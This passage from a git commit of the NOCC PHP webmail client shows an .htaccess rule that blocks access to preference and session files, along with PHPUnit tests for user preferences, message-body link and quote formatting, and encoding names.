initial commit

This commit is contained in:
oheil 2022-01-03 15:03:38 +01:00
parent f9307f24e0
commit a6f1ba2e11
1172 changed files with 100411 additions and 0 deletions

5
webmail/.htaccess Normal file
View file

@ -0,0 +1,5 @@
#Deny access for preference files
<FilesMatch "\.(session|pref|filter|contacts)$">
Order Deny,Allow
Deny from all
</FilesMatch>

View file

@ -0,0 +1,647 @@
<?php
/**
* Test cases for NOCCUserPrefs.
*
* Copyright 2010-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCCUserPrefsTest.php 2488 2011-06-17 22:05:25Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/user_prefs.php';
require_once dirname(__FILE__).'/../../classes/nocc_mailaddress.php';
/**
* Test class for NOCCUserPrefs.
*/
class NOCCUserPrefsTest extends PHPUnit_Framework_TestCase {
/**
* @var string
*/
protected $rootPath;
/**
* @var NOCCUserPrefs
*/
protected $userPrefs1;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->rootPath = dirname(__FILE__) . '/../';
$this->userPrefs1 = new NOCCUserPrefs('');
}
/**
* Test case for getFullName().
*/
public function testGetFullName() {
$this->assertEquals('', $this->userPrefs1->getFullName());
}
/**
* Test case for setFullName().
*/
public function testSetFullName() {
$userPrefs = new NOCCUserPrefs('');
$this->assertEquals('', $userPrefs->getFullName(), 'default');
$userPrefs->setFullName(true);
$this->assertEquals('', $userPrefs->getFullName(), 'true');
$userPrefs->setFullName(1);
$this->assertEquals('', $userPrefs->getFullName(), '1');
$userPrefs->setFullName('Full Name');
$this->assertEquals('Full Name', $userPrefs->getFullName(), 'Full Name');
}
/**
* Test case for getEmailAddress().
*/
public function testGetEmailAddress() {
$this->assertEquals('', $this->userPrefs1->getEmailAddress());
}
/**
* Test case for getEmailAddress().
*/
public function testSetEmailAddress() {
$userPrefs = new NOCCUserPrefs('');
$this->assertEquals('', $userPrefs->getEmailAddress(), 'default');
$userPrefs->setEmailAddress(true);
$this->assertEquals('', $userPrefs->getEmailAddress(), 'true');
$userPrefs->setEmailAddress(1);
$this->assertEquals('', $userPrefs->getEmailAddress(), '1');
$userPrefs->setEmailAddress('foo@bar.org');
$this->assertEquals('foo@bar.org', $userPrefs->getEmailAddress(), 'foo@bar.org');
}
/**
* Test case for getMailAddress().
*/
public function testGetMailAddress() {
$mailAddress = $this->userPrefs1->getMailAddress();
$this->assertEquals('', $mailAddress->getName(), 'getName()');
$this->assertEquals('', $mailAddress->getAddress(), 'getAddress()');
}
/**
* Test case for getBccSelf().
*/
public function testgetBccSelf() {
$this->assertFalse($this->userPrefs1->getBccSelf());
}
/**
* Test case for setBccSelf().
*/
public function testsetBccSelf() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getBccSelf(), 'default');
$userPrefs->setBccSelf(true);
$this->assertTrue($userPrefs->getBccSelf(), 'true');
$userPrefs->setBccSelf(false);
$this->assertFalse($userPrefs->getBccSelf(), 'false');
$userPrefs->setBccSelf(1);
$this->assertTrue($userPrefs->getBccSelf(), '1');
$userPrefs->setBccSelf(0);
$this->assertFalse($userPrefs->getBccSelf(), '0');
$userPrefs->setBccSelf('on');
$this->assertTrue($userPrefs->getBccSelf(), 'on');
$userPrefs->setBccSelf('off');
$this->assertFalse($userPrefs->getBccSelf(), 'off');
$userPrefs->setBccSelf('1');
$this->assertTrue($userPrefs->getBccSelf(), '"1"');
$userPrefs->setBccSelf('0');
$this->assertFalse($userPrefs->getBccSelf(), '"0"');
$userPrefs->setBccSelf('<invalid>');
$this->assertFalse($userPrefs->getBccSelf(), '<invalid>');
$userPrefs->setBccSelf(null);
$this->assertFalse($userPrefs->getBccSelf(), 'NULL');
}
/**
* Test case for getHideAddresses().
*/
public function testGetHideAddresses() {
$this->assertFalse($this->userPrefs1->getHideAddresses());
}
/**
* Test case for setHideAddresses().
*/
public function testSetHideAddresses() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getHideAddresses(), 'default');
$userPrefs->setHideAddresses(true);
$this->assertTrue($userPrefs->getHideAddresses(), 'true');
$userPrefs->setHideAddresses(false);
$this->assertFalse($userPrefs->getHideAddresses(), 'false');
$userPrefs->setHideAddresses(1);
$this->assertTrue($userPrefs->getHideAddresses(), '1');
$userPrefs->setHideAddresses(0);
$this->assertFalse($userPrefs->getHideAddresses(), '0');
$userPrefs->setHideAddresses('on');
$this->assertTrue($userPrefs->getHideAddresses(), 'on');
$userPrefs->setHideAddresses('off');
$this->assertFalse($userPrefs->getHideAddresses(), 'off');
$userPrefs->setHideAddresses('1');
$this->assertTrue($userPrefs->getHideAddresses(), '"1"');
$userPrefs->setHideAddresses('0');
$this->assertFalse($userPrefs->getHideAddresses(), '"0"');
$userPrefs->setHideAddresses('<invalid>');
$this->assertFalse($userPrefs->getHideAddresses(), '<invalid>');
$userPrefs->setHideAddresses(null);
$this->assertFalse($userPrefs->getHideAddresses(), 'NULL');
}
/**
* Test case for getOutlookQuoting().
*/
public function testGetOutlookQuoting() {
$this->assertFalse($this->userPrefs1->getOutlookQuoting());
}
/**
* Test case for setOutlookQuoting().
*/
public function testSetOutlookQuoting() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getOutlookQuoting(), 'default');
$userPrefs->setOutlookQuoting(true);
$this->assertTrue($userPrefs->getOutlookQuoting(), 'true');
$userPrefs->setOutlookQuoting(false);
$this->assertFalse($userPrefs->getOutlookQuoting(), 'false');
$userPrefs->setOutlookQuoting(1);
$this->assertTrue($userPrefs->getOutlookQuoting(), '1');
$userPrefs->setOutlookQuoting(0);
$this->assertFalse($userPrefs->getOutlookQuoting(), '0');
$userPrefs->setOutlookQuoting('on');
$this->assertTrue($userPrefs->getOutlookQuoting(), 'on');
$userPrefs->setOutlookQuoting('off');
$this->assertFalse($userPrefs->getOutlookQuoting(), 'off');
$userPrefs->setOutlookQuoting('1');
$this->assertTrue($userPrefs->getOutlookQuoting(), '"1"');
$userPrefs->setOutlookQuoting('0');
$this->assertFalse($userPrefs->getOutlookQuoting(), '"0"');
$userPrefs->setOutlookQuoting('<invalid>');
$this->assertFalse($userPrefs->getOutlookQuoting(), '<invalid>');
$userPrefs->setOutlookQuoting(null);
$this->assertFalse($userPrefs->getOutlookQuoting(), 'NULL');
}
/**
* Test case for getColoredQuotes().
*/
public function testGetColoredQuotes() {
$this->assertTrue($this->userPrefs1->getColoredQuotes());
}
/**
* Test case for setColoredQuotes().
*/
public function testSetColoredQuotes() {
$userPrefs = new NOCCUserPrefs('');
$this->assertTrue($userPrefs->getColoredQuotes(), 'default');
$userPrefs->setColoredQuotes(false);
$this->assertFalse($userPrefs->getColoredQuotes(), 'false');
$userPrefs->setColoredQuotes(true);
$this->assertTrue($userPrefs->getColoredQuotes(), 'true');
$userPrefs->setColoredQuotes(0);
$this->assertFalse($userPrefs->getColoredQuotes(), '0');
$userPrefs->setColoredQuotes(1);
$this->assertTrue($userPrefs->getColoredQuotes(), '1');
$userPrefs->setColoredQuotes('off');
$this->assertFalse($userPrefs->getColoredQuotes(), 'off');
$userPrefs->setColoredQuotes('on');
$this->assertTrue($userPrefs->getColoredQuotes(), 'on');
$userPrefs->setColoredQuotes('0');
$this->assertFalse($userPrefs->getColoredQuotes(), '"0"');
$userPrefs->setColoredQuotes('1');
$this->assertTrue($userPrefs->getColoredQuotes(), '"1"');
$userPrefs->setColoredQuotes('<invalid>');
$this->assertTrue($userPrefs->getColoredQuotes(), '<invalid>');
$userPrefs->setColoredQuotes(null);
$this->assertTrue($userPrefs->getColoredQuotes(), 'NULL');
}
/**
* Test case for getDisplayStructuredText().
*/
public function testGetDisplayStructuredText() {
$this->assertFalse($this->userPrefs1->getDisplayStructuredText());
}
/**
* Test case for setDisplayStructuredText().
*/
public function testSetDisplayStructuredText() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getDisplayStructuredText(), 'default');
$userPrefs->setDisplayStructuredText(true);
$this->assertTrue($userPrefs->getDisplayStructuredText(), 'true');
$userPrefs->setDisplayStructuredText(false);
$this->assertFalse($userPrefs->getDisplayStructuredText(), 'false');
$userPrefs->setDisplayStructuredText(1);
$this->assertTrue($userPrefs->getDisplayStructuredText(), '1');
$userPrefs->setDisplayStructuredText(0);
$this->assertFalse($userPrefs->getDisplayStructuredText(), '0');
$userPrefs->setDisplayStructuredText('on');
$this->assertTrue($userPrefs->getDisplayStructuredText(), 'on');
$userPrefs->setDisplayStructuredText('off');
$this->assertFalse($userPrefs->getDisplayStructuredText(), 'off');
$userPrefs->setDisplayStructuredText('1');
$this->assertTrue($userPrefs->getDisplayStructuredText(), '"1"');
$userPrefs->setDisplayStructuredText('0');
$this->assertFalse($userPrefs->getDisplayStructuredText(), '"0"');
$userPrefs->setDisplayStructuredText('<invalid>');
$this->assertFalse($userPrefs->getDisplayStructuredText(), '<invalid>');
$userPrefs->setDisplayStructuredText(null);
$this->assertFalse($userPrefs->getDisplayStructuredText(), 'NULL');
}
/**
* Test case for getWrapMessages().
*/
public function testGetWrapMessages() {
$this->assertEquals(0, $this->userPrefs1->getWrapMessages());
}
/**
* Test case for setWrapMessages().
*/
public function testSetWrapMessages() {
$userPrefs = new NOCCUserPrefs('');
$this->assertEquals(0, $userPrefs->getWrapMessages(), 'default');
$userPrefs->setWrapMessages(true);
$this->assertEquals(0, $userPrefs->getWrapMessages(), 'true');
$userPrefs->setWrapMessages(72);
$this->assertEquals(72, $userPrefs->getWrapMessages(), '72');
$userPrefs->setWrapMessages('80');
$this->assertEquals(80, $userPrefs->getWrapMessages(), '"80"');
$userPrefs->setWrapMessages(120);
$this->assertEquals(0, $userPrefs->getWrapMessages(), '120');
}
/**
* Test case for getSignature().
*/
public function testGetSignature() {
$this->assertEquals('', $this->userPrefs1->getSignature());
}
/**
* Test case for getSignature().
*/
public function testSetSignature() {
$userPrefs = new NOCCUserPrefs('');
$this->assertEquals('', $userPrefs->getSignature(), 'default');
$userPrefs->setSignature(true);
$this->assertEquals('', $userPrefs->getSignature(), 'true');
$userPrefs->setSignature(1);
$this->assertEquals('', $userPrefs->getSignature(), '1');
$userPrefs->setSignature('This is a signature...');
$this->assertEquals('This is a signature...', $userPrefs->getSignature(), 'This is a signature...');
}
/**
* Test case for getUseSignatureSeparator().
*/
public function testGetUseSignatureSeparator() {
$this->assertFalse($this->userPrefs1->getUseSignatureSeparator());
}
/**
* Test case for setUseSignatureSeparator().
*/
public function testSetUseSignatureSeparator() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getUseSignatureSeparator(), 'default');
$userPrefs->setUseSignatureSeparator(true);
$this->assertTrue($userPrefs->getUseSignatureSeparator(), 'true');
$userPrefs->setUseSignatureSeparator(false);
$this->assertFalse($userPrefs->getUseSignatureSeparator(), 'false');
$userPrefs->setUseSignatureSeparator(1);
$this->assertTrue($userPrefs->getUseSignatureSeparator(), '1');
$userPrefs->setUseSignatureSeparator(0);
$this->assertFalse($userPrefs->getUseSignatureSeparator(), '0');
$userPrefs->setUseSignatureSeparator('on');
$this->assertTrue($userPrefs->getUseSignatureSeparator(), 'on');
$userPrefs->setUseSignatureSeparator('off');
$this->assertFalse($userPrefs->getUseSignatureSeparator(), 'off');
$userPrefs->setUseSignatureSeparator('1');
$this->assertTrue($userPrefs->getUseSignatureSeparator(), '"1"');
$userPrefs->setUseSignatureSeparator('0');
$this->assertFalse($userPrefs->getUseSignatureSeparator(), '"0"');
$userPrefs->setUseSignatureSeparator('<invalid>');
$this->assertFalse($userPrefs->getUseSignatureSeparator(), '<invalid>');
$userPrefs->setUseSignatureSeparator(null);
$this->assertFalse($userPrefs->getUseSignatureSeparator(), 'NULL');
}
/**
* Test case for getSendHtmlMail().
*/
public function testGetSendHtmlMail() {
$this->assertFalse($this->userPrefs1->getSendHtmlMail());
}
/**
* Test case for setSendHtmlMail().
*/
public function testSetSendHtmlMail() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getSendHtmlMail(), 'default');
$userPrefs->setSendHtmlMail(true);
$this->assertTrue($userPrefs->getSendHtmlMail(), 'true');
$userPrefs->setSendHtmlMail(false);
$this->assertFalse($userPrefs->getSendHtmlMail(), 'false');
$userPrefs->setSendHtmlMail(1);
$this->assertTrue($userPrefs->getSendHtmlMail(), '1');
$userPrefs->setSendHtmlMail(0);
$this->assertFalse($userPrefs->getSendHtmlMail(), '0');
$userPrefs->setSendHtmlMail('on');
$this->assertTrue($userPrefs->getSendHtmlMail(), 'on');
$userPrefs->setSendHtmlMail('off');
$this->assertFalse($userPrefs->getSendHtmlMail(), 'off');
$userPrefs->setSendHtmlMail('1');
$this->assertTrue($userPrefs->getSendHtmlMail(), '"1"');
$userPrefs->setSendHtmlMail('0');
$this->assertFalse($userPrefs->getSendHtmlMail(), '"0"');
$userPrefs->setSendHtmlMail('<invalid>');
$this->assertFalse($userPrefs->getSendHtmlMail(), '<invalid>');
$userPrefs->setSendHtmlMail(null);
$this->assertFalse($userPrefs->getSendHtmlMail(), 'NULL');
}
/**
* Test case for getUseGraphicalSmilies().
*/
public function testGetUseGraphicalSmilies() {
$this->assertFalse($this->userPrefs1->getUseGraphicalSmilies());
}
/**
* Test case for setUseGraphicalSmilies().
*/
public function testSetUseGraphicalSmilies() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getUseGraphicalSmilies(), 'default');
$userPrefs->setUseGraphicalSmilies(true);
$this->assertTrue($userPrefs->getUseGraphicalSmilies(), 'true');
$userPrefs->setUseGraphicalSmilies(false);
$this->assertFalse($userPrefs->getUseGraphicalSmilies(), 'false');
$userPrefs->setUseGraphicalSmilies(1);
$this->assertTrue($userPrefs->getUseGraphicalSmilies(), '1');
$userPrefs->setUseGraphicalSmilies(0);
$this->assertFalse($userPrefs->getUseGraphicalSmilies(), '0');
$userPrefs->setUseGraphicalSmilies('on');
$this->assertTrue($userPrefs->getUseGraphicalSmilies(), 'on');
$userPrefs->setUseGraphicalSmilies('off');
$this->assertFalse($userPrefs->getUseGraphicalSmilies(), 'off');
$userPrefs->setUseGraphicalSmilies('1');
$this->assertTrue($userPrefs->getUseGraphicalSmilies(), '"1"');
$userPrefs->setUseGraphicalSmilies('0');
$this->assertFalse($userPrefs->getUseGraphicalSmilies(), '"0"');
$userPrefs->setUseGraphicalSmilies('<invalid>');
$this->assertFalse($userPrefs->getUseGraphicalSmilies(), '<invalid>');
$userPrefs->setUseGraphicalSmilies(null);
$this->assertFalse($userPrefs->getUseGraphicalSmilies(), 'NULL');
}
/**
* Test case for getUseSentFolder().
*/
public function testGetUseSentFolder() {
$this->assertFalse($this->userPrefs1->getUseSentFolder());
}
/**
* Test case for setUseSentFolder().
*/
public function testSetUseSentFolder() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getUseSentFolder(), 'default');
$userPrefs->setUseSentFolder(true);
$this->assertTrue($userPrefs->getUseSentFolder(), 'true');
$userPrefs->setUseSentFolder(false);
$this->assertFalse($userPrefs->getUseSentFolder(), 'false');
$userPrefs->setUseSentFolder(1);
$this->assertTrue($userPrefs->getUseSentFolder(), '1');
$userPrefs->setUseSentFolder(0);
$this->assertFalse($userPrefs->getUseSentFolder(), '0');
$userPrefs->setUseSentFolder('on');
$this->assertTrue($userPrefs->getUseSentFolder(), 'on');
$userPrefs->setUseSentFolder('off');
$this->assertFalse($userPrefs->getUseSentFolder(), 'off');
$userPrefs->setUseSentFolder('1');
$this->assertTrue($userPrefs->getUseSentFolder(), '"1"');
$userPrefs->setUseSentFolder('0');
$this->assertFalse($userPrefs->getUseSentFolder(), '"0"');
$userPrefs->setUseSentFolder('<invalid>');
$this->assertFalse($userPrefs->getUseSentFolder(), '<invalid>');
$userPrefs->setUseSentFolder(null);
$this->assertFalse($userPrefs->getUseSentFolder(), 'NULL');
}
/**
* Test case for getSentFolderName().
*/
public function testGetSentFolderName() {
$this->assertEquals('', $this->userPrefs1->getSentFolderName());
}
/**
* Test case for setSentFolderName().
*/
public function testSetSentFolderName() {
$userPrefs = new NOCCUserPrefs('');
$this->assertEquals('', $userPrefs->getSentFolderName(), 'default');
$userPrefs->setSentFolderName(true);
$this->assertEquals('', $userPrefs->getSentFolderName(), 'true');
$userPrefs->setSentFolderName(1);
$this->assertEquals('', $userPrefs->getSentFolderName(), '1');
$userPrefs->setSentFolderName('sent');
$this->assertEquals('sent', $userPrefs->getSentFolderName(), 'sent');
}
/**
* Test case for getUseTrashFolder().
*/
public function testGetUseTrashFolder() {
$this->assertFalse($this->userPrefs1->getUseTrashFolder());
}
/**
* Test case for setUseTrashFolder().
*/
public function testSetUseTrashFolder() {
$userPrefs = new NOCCUserPrefs('');
$this->assertFalse($userPrefs->getUseTrashFolder(), 'default');
$userPrefs->setUseTrashFolder(true);
$this->assertTrue($userPrefs->getUseTrashFolder(), 'true');
$userPrefs->setUseTrashFolder(false);
$this->assertFalse($userPrefs->getUseTrashFolder(), 'false');
$userPrefs->setUseTrashFolder(1);
$this->assertTrue($userPrefs->getUseTrashFolder(), '1');
$userPrefs->setUseTrashFolder(0);
$this->assertFalse($userPrefs->getUseTrashFolder(), '0');
$userPrefs->setUseTrashFolder('on');
$this->assertTrue($userPrefs->getUseTrashFolder(), 'on');
$userPrefs->setUseTrashFolder('off');
$this->assertFalse($userPrefs->getUseTrashFolder(), 'off');
$userPrefs->setUseTrashFolder('1');
$this->assertTrue($userPrefs->getUseTrashFolder(), '"1"');
$userPrefs->setUseTrashFolder('0');
$this->assertFalse($userPrefs->getUseTrashFolder(), '"0"');
$userPrefs->setUseTrashFolder('<invalid>');
$this->assertFalse($userPrefs->getUseTrashFolder(), '<invalid>');
$userPrefs->setUseTrashFolder(null);
$this->assertFalse($userPrefs->getUseTrashFolder(), 'NULL');
}
/**
* Test case for getTrashFolderName().
*/
public function testGetTrashFolderName() {
$this->assertEquals('', $this->userPrefs1->getTrashFolderName());
}
/**
* Test case for setTrashFolderName().
*/
public function testSetTrashFolderName() {
$userPrefs = new NOCCUserPrefs('');
$this->assertEquals('', $userPrefs->getTrashFolderName(), 'default');
$userPrefs->setTrashFolderName(true);
$this->assertEquals('', $userPrefs->getTrashFolderName(), 'true');
$userPrefs->setTrashFolderName(1);
$this->assertEquals('', $userPrefs->getTrashFolderName(), '1');
$userPrefs->setTrashFolderName('trash');
$this->assertEquals('trash', $userPrefs->getTrashFolderName(), 'trash');
}
/**
* @todo Implement testRead().
*/
public function testRead() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* Test case for readFromFile().
*/
public function testReadFromFile() {
$defaultUserPrefs = new NOCCUserPrefs('');
$userPrefs1 = NOCCUserPrefs::readFromFile($defaultUserPrefs, $this->rootPath . './prefs/test1.pref', $ev);
$this->assertEquals('Full Name', $userPrefs1->getFullName(), 'getFullName()');
$this->assertEquals('foo@bar.org', $userPrefs1->getEmailAddress(), 'getEmailAddress()');
$this->assertEquals(30, $userPrefs1->msg_per_page, 'msg_per_page');
$this->assertTrue($userPrefs1->getBccSelf(), 'getBccSelf()');
$this->assertTrue($userPrefs1->getHideAddresses(), 'getHideAddresses()');
$this->assertTrue($userPrefs1->getOutlookQuoting(), 'getOutlookQuoting()');
$this->assertTrue($userPrefs1->getColoredQuotes(), 'getColoredQuotes()');
$this->assertTrue($userPrefs1->getDisplayStructuredText(), 'getDisplayStructuredText()');
$this->assertTrue($userPrefs1->seperate_msg_win, 'seperate_msg_win');
$this->assertEquals('', $userPrefs1->reply_leadin, 'reply_leadin');
$this->assertEquals(72, $userPrefs1->getWrapMessages(), 'getWrapMessages()');
$this->assertEquals('This is a signature...', $userPrefs1->getSignature(), 'getSignature()');
$this->assertTrue($userPrefs1->getUseSignatureSeparator(), 'getUseSignatureSeparator()');
$this->assertTrue($userPrefs1->getSendHtmlMail(), 'getSendHtmlMail()');
$this->assertTrue($userPrefs1->getUseGraphicalSmilies(), 'getUseGraphicalSmilies()');
$this->assertTrue($userPrefs1->getUseSentFolder(), 'getUseSentFolder()');
$this->assertEquals('Sent', $userPrefs1->getSentFolderName(), 'getSentFolderName()');
$this->assertTrue($userPrefs1->getUseTrashFolder(), 'getUseTrashFolder()');
$this->assertEquals('Trash', $userPrefs1->getTrashFolderName(), 'getTrashFolderName()');
$this->assertEquals('de', $userPrefs1->lang, 'lang');
$this->assertEquals('newlook', $userPrefs1->theme, 'theme');
$this->assertEquals(0, $userPrefs1->dirty_flag, 'dirty_flag');
$userPrefs2 = NOCCUserPrefs::readFromFile($defaultUserPrefs, $this->rootPath . './prefs/test2.pref', $ev);
$this->assertEquals('Name Full', $userPrefs2->getFullName(), 'getFullName()');
$this->assertEquals('bar@foo.org', $userPrefs2->getEmailAddress(), 'getEmailAddress()');
$this->assertEquals(15, $userPrefs2->msg_per_page, 'msg_per_page');
$this->assertFalse($userPrefs2->getBccSelf(), 'getBccSelf()');
$this->assertFalse($userPrefs2->getHideAddresses(), 'getHideAddresses()');
$this->assertFalse($userPrefs2->getOutlookQuoting(), 'getOutlookQuoting()');
$this->assertFalse($userPrefs2->getColoredQuotes(), 'getColoredQuotes()');
$this->assertFalse($userPrefs2->getDisplayStructuredText(), 'getDisplayStructuredText()');
$this->assertFalse($userPrefs2->seperate_msg_win, 'seperate_msg_win');
$this->assertEquals('', $userPrefs2->reply_leadin, 'reply_leadin');
$this->assertEquals(0, $userPrefs2->getWrapMessages(), 'getWrapMessages()');
$this->assertEquals('', $userPrefs2->getSignature(), 'getSignature()');
$this->assertFalse($userPrefs2->getUseSignatureSeparator(), 'getUseSignatureSeparator()');
$this->assertFalse($userPrefs2->getSendHtmlMail(), 'getSendHtmlMail()');
$this->assertFalse($userPrefs2->getUseGraphicalSmilies(), 'getUseGraphicalSmilies()');
$this->assertFalse($userPrefs2->getUseSentFolder(), 'getUseSentFolder()');
$this->assertEquals('', $userPrefs2->getSentFolderName(), 'getSentFolderName()');
$this->assertFalse($userPrefs2->getUseTrashFolder(), 'getUseTrashFolder()');
$this->assertEquals('', $userPrefs2->getTrashFolderName(), 'getTrashFolderName()');
$this->assertEquals('en', $userPrefs2->lang, 'lang');
$this->assertEquals('standard', $userPrefs2->theme, 'theme');
$this->assertEquals(0, $userPrefs2->dirty_flag, 'dirty_flag');
}
/**
* @todo Implement testCommit().
*/
public function testCommit() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @todo Implement testValidate().
*/
public function testValidate() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @todo Implement testParseLeadin().
*/
public function testParseLeadin() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
}
?>

View file

@ -0,0 +1,122 @@
<?php
/**
* Test cases for NOCC_Body.
*
* Copyright 2010-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_BodyTest.php 2483 2011-06-17 18:45:45Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_body.php';
/**
* Test class for NOCC_Body.
*/
class NOCC_BodyTest extends PHPUnit_Framework_TestCase {
/**
* Test case for prepareHtmlLinks().
*/
public function testPrepareHtmlLinks() {
$actual =
'This is a test mail with URLs:
* <a href="http://nocc.sf.net/">NOCC</a>
* <A HREF="http://nocc.sf.net/?lang=de">NOCC German</A>
* <a href="http://nocc.sourceforge.net/docs/changelog.php">NOCC ChangeLog</a>
* <a href="mailto:nocc-discuss@lists.sourceforge.net">Mailing list</a>
* <A HREF="MAILTO:nocc-discuss@lists.sourceforge.net">Mailing list</A>';
$expected =
'This is a test mail with URLs:
* <a href="http://nocc.sf.net/" target="_blank">NOCC</a>
* <A href="http://nocc.sf.net/?lang=de" target="_blank">NOCC German</A>
* <a href="http://nocc.sourceforge.net/docs/changelog.php" target="_blank">NOCC ChangeLog</a>
* <a href="action.php?action=write&amp;mail_to=nocc-discuss@lists.sourceforge.net">Mailing list</a>
* <A href="action.php?action=write&amp;mail_to=nocc-discuss@lists.sourceforge.net">Mailing list</A>';
$this->assertEquals($expected, NOCC_Body::prepareHtmlLinks($actual, 'http://localhost/nocc/'));
}
/**
* Test case for prepareTextLinks().
*/
public function testPrepareTextLinks() {
$actual =
'This is a test mail with URLs:
* http://nocc.sf.net/
* http://nocc.sf.net/?lang=de
* http://nocc.sourceforge.net/docs/changelog.php
* http://localhost/test1.php#anchor
* http://localhost/test2.php?para1=abc&para2=def
* http://localhost/trac/ticket/123#comment:4
* &quot;http://nocc.sf.net/&quot;
* &lt;http://nocc.sf.net/&gt;
* &lt;&lt;http://nocc.sf.net/&gt;&gt;
* [http://nocc.sf.net/]
* nocc-discuss@lists.sourceforge.net
* &lt;nocc-discuss@lists.sourceforge.net&gt;';
$expected =
'This is a test mail with URLs:
* <a href="http://nocc.sf.net/" target="_blank">http://nocc.sf.net/</a>
* <a href="http://nocc.sf.net/?lang=de" target="_blank">http://nocc.sf.net/?lang=de</a>
* <a href="http://nocc.sourceforge.net/docs/changelog.php" target="_blank">http://nocc.sourceforge.net/docs/changelog.php</a>
* <a href="http://localhost/test1.php#anchor" target="_blank">http://localhost/test1.php#anchor</a>
* <a href="http://localhost/test2.php?para1=abc&para2=def" target="_blank">http://localhost/test2.php?para1=abc&para2=def</a>
* <a href="http://localhost/trac/ticket/123#comment:4" target="_blank">http://localhost/trac/ticket/123#comment:4</a>
* &quot;<a href="http://nocc.sf.net/" target="_blank">http://nocc.sf.net/</a>&quot;
* &lt;<a href="http://nocc.sf.net/" target="_blank">http://nocc.sf.net/</a>&gt;
* &lt;&lt;<a href="http://nocc.sf.net/" target="_blank">http://nocc.sf.net/</a>&gt;&gt;
* [<a href="http://nocc.sf.net/" target="_blank">http://nocc.sf.net/</a>]
* <a href="action.php?action=write&amp;mail_to=nocc-discuss@lists.sourceforge.net">nocc-discuss@lists.sourceforge.net</a>
* &lt;<a href="action.php?action=write&amp;mail_to=nocc-discuss@lists.sourceforge.net">nocc-discuss@lists.sourceforge.net</a>&gt;';
$this->assertEquals($expected, NOCC_Body::prepareTextLinks($actual, 'http://localhost/nocc/'));
}
/**
* Test case for addColoredQuotes().
*/
public function testAddColoredQuotes() {
$actual =
'&gt; &gt; &gt; This is level 3
&gt;&gt;&gt; ...
&gt; &gt; This is level 2
&gt;&gt; ...
&gt; This is level 1
&gt; ...
And this is level 0
...';
$expected =
'<span class="quoteLevel3">&gt; &gt; &gt; This is level 3</span>
<span class="quoteLevel3">&gt;&gt;&gt; ...</span>
<span class="quoteLevel2">&gt; &gt; This is level 2</span>
<span class="quoteLevel2">&gt;&gt; ...</span>
<span class="quoteLevel1">&gt; This is level 1</span>
<span class="quoteLevel1">&gt; ...</span>
And this is level 0
...';
$this->assertEquals($expected, NOCC_Body::addColoredQuotes($actual));
}
/**
* Test case for addStructuredText().
*/
public function testAddStructuredText() {
$actual = 'This *is* /just/ a _test_ |from| 10^6 and +/-0!';
$expected = 'This <strong>*is*</strong> <em>/just/</em> a <span style="text-decoration:underline">_test_</span> <code>|from|</code> 10<sup>6</sup> and &plusmn;0!';
$this->assertEquals($expected, NOCC_Body::addStructuredText($actual));
}
}
?>

View file

@ -0,0 +1,94 @@
<?php
/**
* Test cases for NOCC_Encoding.
*
* Copyright 2010-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_EncodingTest.php 2373 2011-01-04 15:06:58Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_encoding.php';
/**
* Test class for NOCC_Encoding.
*/
class NOCC_EncodingTest extends PHPUnit_Framework_TestCase {
/**
* @var NOCC_Encoding
*/
protected $encodingNull;
/**
* @var NOCC_Encoding
*/
protected $encodingBug;
/**
* @var NOCC_Encoding
*/
protected $encoding0;
/**
* @var NOCC_Encoding
*/
protected $encoding1;
/**
* @var NOCC_Encoding
*/
protected $encoding2;
/**
* @var NOCC_Encoding
*/
protected $encoding3;
/**
* @var NOCC_Encoding
*/
protected $encoding4;
/**
* @var NOCC_Encoding
*/
protected $encoding5;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->encodingNull = new NOCC_Encoding(null);
$this->encodingBug = new NOCC_Encoding('bug');
$this->encoding0 = new NOCC_Encoding(0);
$this->encoding1 = new NOCC_Encoding(1);
$this->encoding2 = new NOCC_Encoding(2);
$this->encoding3 = new NOCC_Encoding(3);
$this->encoding4 = new NOCC_Encoding(4);
$this->encoding5 = new NOCC_Encoding(5);
}
/**
* Test case for __toString().
*/
public function test__toString() {
$this->assertEquals('', $this->encodingNull->__toString(), 'null');
$this->assertEquals('', $this->encodingBug->__toString(), 'bug');
$this->assertEquals('7BIT', $this->encoding0->__toString(), '0');
$this->assertEquals('8BIT', $this->encoding1->__toString(), '1');
